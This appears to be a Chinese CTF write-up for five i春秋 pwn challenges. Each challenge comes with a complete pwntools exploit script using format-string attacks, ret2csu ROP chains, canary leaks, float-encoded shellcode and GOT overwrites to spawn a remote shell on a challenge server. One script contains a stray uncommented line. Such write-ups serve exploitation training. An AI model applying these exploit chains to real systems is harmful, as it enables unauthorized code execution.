i春秋上的几道pwn题

01.pwnme-50:

Tag: fmtstr任意读 / 整型溢出 / ret2csu_init

#encoding:utf-8

from pwn import *

#context.log_level = 'debug'

def leak(addr):

io.sendafter('>', '2')

io.sendafter('username(max lenth:20): \n', 'BBBB')

#用sendline会超出长度

io.sendafter('please input new password(max lenth:20): \n', '%12$s' + 'bingo!!' + p64(addr))

io.sendafter('>', '1')

content = io.recvuntil('bingo!!')

print content

#leak函数的返回值为字符串格式，若字符串长度为0，返回\x00

if len(content) == 11:

return '\x00'

else:

return content[4:-7]

io = remote('106.75.2.53', 10006)

io.recvuntil('Input your username(max lenth:40): \n')

io.sendline('A')

io.recvuntil('Input your password(max lenth:40): \n')

io.sendline('1')

d = DynELF(leak, elf=ELF('./pwnme'))

system_addr = d.lookup('system', 'libc')

log.info('system_addr:%#x' % system_addr)

io.recvuntil('>')

io.sendline('2')

io.recvuntil('please input new username(max lenth:20): \n')

io.sendline('A')

io.recvuntil('please input new password(max lenth:20): \n')

# rop = ROP('./pwnme')

# rop.raw('a'*0x28)

# rop.raw('/bin/sh')

pop_rdi_ret_addr = 0x400ed3

pppppp_ret = 0x400eca

init_gadget = 0x400EB0

payload = 'A' * 0x28

#选取一个可读写地址作为sh字符串存放地址

bin_sh_addr = 0x602800

#调用read@plt

#ebx赋值为0 ebp赋值为1保证只执行一次——ret2csu

payload += p64(pppppp_ret) + p64(0x0) + p64(0x1) + p64(0x601FC8) + p64(0x8) + p64(bin_sh_addr) + p64(0)

#1个add esp 8 + 6个pop = 7

payload += p64(init_gadget) + p64(0x8) * 7

#弹出bin_addr到rdi,然后调用system

payload += p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(system_addr)

#利用整数溢出绕过长度限制

payload = payload.ljust(0x101, 'A')

io.sendline(payload)

io.send('/bin/sh\x00')

io.interactive()

02.loading-50:

Tag: mmap / shellcode / IEEE754浮点数格式 / python-struct

mmap函数原型

void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset);

//使用struct模块来变更数据格式

struct模块中最重要的三个函数是pack(), unpack(), calcsize

# 按照给定的格式(fmt)，把数据封装成字符串(实际上是类似于c结构体的字节流)

pack(fmt, v1, v2, ...)

# 按照给定的格式(fmt)解析字节流string，返回解析出来的tuple

unpack(fmt,string)

# 计算给定的格式(fmt)占用多少字节的内存

calcsize(fmt)

上述fmt中，支持的格式为：

FORMAT C TYPE PYTHON TYPE STANDARD SIZE NOTES

x pad byte no value

c char string of length 1 1

b signed char integer 1 (3)

B unsigned char integer 1 (3)

? _Bool bool 1 (1)

h short integer 2 (3)

H unsigned short integer 2 (3)

i int integer 4 (3)

I unsigned int integer 4 (3)

l long integer 4 (3)

L unsigned long integer 4 (3)

q long long integer 8 (2), (3)

Q unsigned long long integer 8 (2), (3)

f float float 4 (4)

d double float 8 (4)

s char[] string

p char[] string

P void * integer (5), (3)

注1.q和Q只在机器支持64位操作系统有意义

注2.每个格式前可以有一个数字，表示个数

注3.s格式表示一定长度的字符串，4s表示长度为4的字符串，但是p表示的是pascal字符串

注4.P用来转换一个指针，其长度和机器字长相关

注5.最后一个可以用来表示指针类型的，占4个字节

为了同c中的结构体交换数据，还要考虑有的c或c++编译器使用了字节对齐，通常是以4个字节为单位的32位系统，故而struct根据本地机器字节顺序转换.可以用格式中的第一个字符来改变对齐方式.定义如下：

CHARACTER BYTE ORDER SIZE ALIGNMENT

@ native native native

= native standard none

< little-endian standard none

> big-endian standard none

! network (= big-endian) standard none

使用方法是放在fmt的第一个位置，就像’@5s6sif

import struct

from pwn import *

import time

context.log_level = 'debug'

context.arch = 'i386'

context.os = 'linux'

def get_int(s):

a = struct.unpack('<f', s)[0]* 2333

return struct.unpack('I', struct.pack('<I', a))[0]

target = remote('106.75.2.53', 10009)

print "Sending IEEE754 shellcode..."

time.sleep(1)

target.sendline(str(get_int('\x99\x89\xc3\x47'))) # mov ebx, eax

target.sendline(str(get_int('\x41\x44\x44\x44'))) # nop/align

for c in '/bin/sh\x00':

target.sendline(str(get_int('\x99\xb0'+c+'\x47'))) # mov al, c

target.sendline(str(get_int('\x57\x89\x03\x43'))) # mov [ebx], eax; inc ebx

for i in range(8):

target.sendline(str(get_int('\x57\x4b\x41\x47'))) # dec ebx

target.sendline(str(get_int('\x99\x31\xc0\x47'))) # xor eax, eax

target.sendline(str(get_int('\x99\x31\xc9\x47'))) # xor ecx, ecx

target.sendline(str(get_int('\x99\x31\xd2\x47'))) # xor edx, edx

target.sendline(str(get_int('\x99\xb0\x0b\x47'))) # mov al, 0xb

target.sendline(str(get_int('\x99\xcd\x80\x47'))) # int 0x80

target.sendline('c')

target.interactive()

03.what_the_fuck-50:

Tag: fmtstr任意读写 / Canary绕过（覆盖__stack_chk_fail） / ret2syscall / ret2csu

//除了%n,还有%hn，%hhn，%lln，分别为写入目标空间2字节，1字节，8字节

通过fmtstr泄露read和syscall地址

通过fmtstr在多个连续的栈帧上布置ROP链，共计6次栈溢出，然后通过ROP 和 init 开启shell

开启shell过程如下图所示

#encoding:utf-8

from pwn import *

#context.log_level='debug'

context.arch='amd64'

context.os='linux'

context.terminal=['tmux', 'sp', '-h']

def name(payload):

io.readuntil('input your name: ')

io.send(payload)

def msg(payload):

io.readuntil('leave a msg: ')

io.send(payload)

#io = process('./what_the_fuck')

io = remote('106.75.2.53', 10005)

#第一次栈溢出

payload=p64(0x601020)

name(payload)

#修改__stack_chk_fail@got为main——每次出发栈溢出进入main函数

#同时打印read@got的值以及当前存储的rbp的值

payload='%.'+str(0x0983)+'d'+'%12$hn'+' %9$s%10$ld'

payload+='\x00'*(0x18-len(payload))

payload+=p64(0x601040) #read@got的地址,在往下为rbp

msg(payload)

test=io.readuntil('\x7f')

test=test[-6:]+'\x00'*2

read=u64(test)

print "read_addr => "+hex(read)

syscall=read+0xe #read加上0xe为syscall?原因未知//推测是之前某道题泄露出了libc偏移

#syscall距离libc的偏移通常可以为0xE?

stack=int(io.read(15),10)

print "stack_addr => "+hex(stack)

#第二次栈溢出

payload=p64(0x0)

name(payload)

#read(0, 0x00007ffdc0494e38, 0x200)

payload=p64(0x0400A7C) #init函数——4pop|ret地址

payload+=p64(0x601040) #read@got的地址 =>

payload+=p64(0x200)

payload+=p64(stack-0x88) #0x00007ffdc0494e38

msg(payload)

#第三次栈溢出

#*0x00007ffdc0494e30 = 0 是上一个栈帧read的第一个参数(前四字节)

payload=p64(stack-0x90)

name(payload)

payload='%12$n'

payload+='\x00'*(0x20-len(payload))

msg(payload)

#第四次栈溢出

#*0x00007ffdc0494e38 = 0x400A60 => call r12

# ↑第二次溢出的返回地址

#*0x00007ffdc0494e34 = 0 第二个栈帧read的第一个参数(后四字节)

# ↑第二次溢出的name

payload=p64(stack-0x88)

name(payload)

payload='%9$n'+'%.'+str(0x400a60)+'d'+'%12$n'

payload+='\x00'*(0x18-len(payload))

payload+=p64(stack-0x8c)

msg(payload)

#第五次栈溢出

#修改下一次栈溢出保存的

#*0x00007ffdc0494d10 = 0x00007ffdc0494e08

# ↑saved rbp ↑第三次溢出的返回地址

payload=p64(stack-0x1b0)

name(payload)

rbp=stack-0xb8

rbp=rbp%0x10000

payload='%.'+str(rbp)+'d'+'%12$hn'

payload+='\x00'*(0x20-len(payload))

msg(payload)

#第六次栈溢出

payload=p64(0x601020) #__stack_chk_fail@got

name(payload)

#leave

payload='%.'+str(0x0a1c)+'d'+'%12$hn'

payload+='\x00'*(0x20-len(payload))

msg(payload)

payload=p64(0x0400A7A) #6pop|ret

payload+=p64(0x0) #rbx

payload+=p64(0x1) #rbp

payload+=p64(0x601040) #r12 => read(0, bash_addr, 0x3b) 0x3b为execve系统调用号

payload+=p64(0x3b) #r13 => rdx

payload+=p64(0x601b00) #r14 => rsi

payload+=p64(0x0) #r15 => edi

payload+=p64(0x400a60) #call r12

payload+=p64(0x0)

payload+=p64(0x1)

payload+=p64(0x601b08) #r12 => syscall(bash_addr, NULL, NULL)

payload+=p64(0x0)

payload+=p64(0x601b00)

payload+=p64(0x400a60)

raw_input('go')

io.send(payload)

raw_input('go')

io.send('/bin/sh'+'\x00'+p64(syscall)+'\x00'*0x2b)

io.interactive()

04.easypwn-50:

Tag: Canary绕过（泄露canary） / ret2csu / ret2syscall

//Tip: Canary值以0x00结尾,如果程序没有漏洞但栈上面刚好是一个满的字符串,这个0x00可以当做截断,避免被打印出来

程序有两次输入，第一次用来泄露canary，第二次用来溢出

先通过溢出泄露syscall地址（这里是通过libc发现read+0xe为syscall），然后返回到main，在栈上布置ROP通过csu代码块开启shell

#encoding:utf-8

from pwn import *

context.log_level='debug'

context.arch='amd64'

context.os='linux'

context.terminal=['tmux', 'sp', '-h']

#io = process('./easypwn')

io = remote('106.75.2.53', 10002)

# io.recvuntil('Who are you?\n')

# io.sendline('A'*(0x50-0x8))

# io.recvuntil('A'*(0x50-0x8))

# canary = u64(io.recv(8))-0xa

# log.info('canary:'+hex(canary))

elf = ELF('./easypwn')

io.recvuntil('Who are you?\n')

io.send('a'*0x48+'\x01')

io.recvuntil('a'*0x48)

canary = u64(io.recv(8))-1

log.info("canary => " + hex(canary))

io.recvuntil('name?\n')

main_addr = 0x4006C6

pop_rdi_ret = 0x4007f3

csu_pop = 0x4007EA

csu_call = 0x4007D0

payload = 'a'*0x48 + p64(canary) + 'a'*8

payload += p64(pop_rdi_ret)

payload += p64(elf.got['read'])

payload += p64(elf.plt['printf'])

payload += p64(main_addr)

io.send(payload)

io.recvuntil('again!\n')

read_addr = u64(io.recvuntil('Hello', drop=True).ljust(0x8, '\x00'))

syscall = read_addr + 0xe

log.info("read => " + hex(read_addr))

log.info("syscall => " + hex(syscall))

io.recvuntil('Who are you?\n')

io.send('a'*0x48+'\x01')

io.recvuntil('a'*0x48)

canary = u64(io.recv(8))-1

log.info("canary => " + hex(canary))

#gdb.attach(io,'b *0x4007d6')

io.recvuntil('name?\n')

payload = 'a'*0x48 + p64(canary) + 'a'*8

payload += p64(csu_pop)

payload += p64(0x0)

payload += p64(0x1)

payload += p64(elf.got['read'])

payload += p64(0x3b)

payload += p64(0x601080)

payload += p64(0x0)

payload += p64(csu_call)

payload += p64(csu_pop)

payload += p64(0x0)

payload += p64(0x1)

payload += p64(0x601088)

payload += p64(0x0)

payload += p64(0x601080)

payload += p64(csu_call)

io.send(payload)

raw_input('go')

io.send('/bin/sh\x00'+p64(syscall)+0x2b*'a')

io.interactive()

05.black_hole-50:

Tag: 利用push rbp写入ROP链 / ret2csu / 覆写got爆破syscall

#encoding:utf-8

from pwn import *

DEBUG = 0

PATH = './black_hole'

SERVER = ('106.75.2.53', 10001)

context.update(arch='amd64', os='linux', terminal=['tmux', 'sp', '-h'])

if DEBUG:

context.log_level='debug'

io = process(PATH)

else:

io = remote(SERVER[0], SERVER[1])

elf = ELF(PATH)

rop = ROP(PATH)

gadgets1 = 0x4007AA

gadgets2 = 0x400790

def hole(io,msg):

sleep(0.1)

io.send('2333'.ljust(0x20, 'a'))

sleep(0.1)

io.send('a'*0x10+msg+p64(0x400704))

payload = []

payload.append(p64(gadgets1))

payload.append(p64(0))

payload.append(p64(1))

payload.append(p64(elf.got['read']))

payload.append(p64(1))

payload.append(p64(elf.got['alarm']))

payload.append(p64(0))

payload.append(p64(gadgets2))

for i in range(7):

payload.append(p64(0))

payload.append(p64(gadgets1))

payload.append(p64(0))

payload.append(p64(1))

payload.append(p64(elf.got['read']))

payload.append(p64(0x3B))

payload.append(p64(0x601070))

payload.append(p64(0)) #rax=0x3b

payload.append(p64(gadgets2))

payload.append(p64(0))

payload.append(p64(1))

payload.append(p64(0x601078))

payload.append(p64(0))

payload.append(p64(0x601070))

payload.append(p64(gadgets2))

#for char in xrange(0x45,0x46):

#io = process('./black_hole')

#io = remote('106.75.66.195',11003)

i = len(payload)

for msg in reversed(payload):

log.info(i)

i = i-1

hole(io,str(msg))

#raw_input('Go?')

sleep(0.5)

io.send('2333'+'A'*(0x20-4))

sleep(0.5)

#raw_input('Go?')

io.send('A'*0x18+p64(0x4006CB))

sleep(0.5)

#raw_input('Go?')

#log.info('Trying {0}'.format(str(char)))

io.send(chr(0x5))

#raw_input('Go?')

content = "/bin/sh\x00"

content += p64(elf.plt['alarm']) call *(&alarm@plt)

content = content.ljust(0x3b,'A')

sleep(0.5)

io.send(content)

#io.sendline('ls')

#try:

io.interactive()

#except:

io.close()

总结：

64位下泄露syscall的地址

找到函数体中含有syscall且链接到可执行文件的函数

有libc的情况下直接计算偏移，没有libc的情况下可以爆破大小为1byte的偏移

然后

方法一：覆写该函数的got表的最后一位，然后将func@plt写入栈中，通过csu跳转到syscall

方法二：泄露出func@got的值，然后利用该值加上偏移得到syscall地址写入栈中，通过csu跳转到syscall

//要注意本地的libc和服务端libc版本不同，syscall的偏移也不同

i春秋上的几道pwn题

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